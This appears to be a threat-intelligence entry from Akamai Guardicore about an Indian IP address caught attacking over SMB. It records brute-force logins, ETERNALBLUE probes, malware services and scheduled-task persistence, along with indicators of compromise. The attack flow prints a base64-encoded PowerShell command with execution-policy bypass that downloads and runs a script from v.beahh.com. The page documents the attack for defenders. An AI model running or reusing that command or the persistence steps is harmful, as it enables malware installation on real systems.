Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 61.3.29.178Malicious

IP Address: 61.3.29.178Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

Download and Execute SMB Share Connect PowerShell Service Creation DNS Query Scheduled Task Creation IDS - Attempted Administrator Privilege Gain System File Modification Successful SMB Login Download File Access Suspicious Domain SMB Service Deletion Listening Service Stop Service Start IDS - A Network Trojan was detected

Associated Attack Servers

v.beahh.com

42.232.226.49

Basic Information

IP Address

61.3.29.178

Domain

-

ISP

-

Country

India

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-11-21

Last seen in Akamai Guardicore Segmentation

2023-11-21

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

c:\windows\system32\services.exe installed and started %systemroot%\wrfugqis.exe as a service named YJav under service group None

Service Creation Service Start

The file C:\Windows\wrFuGQis.exe was downloaded and executed

Download and Execute

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified

System File Modification

c:\windows\system32\services.exe installed and started %systemroot%\kpizntnf.exe as a service named yFmD under service group None

Service Creation Service Start

The file C:\Windows\KpIZNTNF.exe was downloaded and executed

Download and Execute

C:\Windows\temp\tmp.vbs was downloaded

Download File

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 3 times

Successful SMB Login

Service yFmD was stopped

Service Stop

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (MSF style)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : Possible ETERNALBLUE Probe MS17-010 (Generic Flags)

IDS - A Network Trojan was detected

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

Process netsvcs Service Group started listening on ports: 65533

Listening

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetool

The command line C:\Windows\AYshqPEd.exe was scheduled to run by modifying C:\Windows\System32\Tasks\AYshqPEd

The command line c:\windows\HIwrU.exe was scheduled to run by modifying C:\Windows\System32\Tasks\PfkeWkkw

IDS detected Attempted Administrator Privilege Gain : Windows SMB remote code execution attempt 2 times

IDS - Attempted Administrator Privilege Gain

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: v.beahh.com

DNS Query Access Suspicious Domain

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

Associated Files

C:\abDNKmdx.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes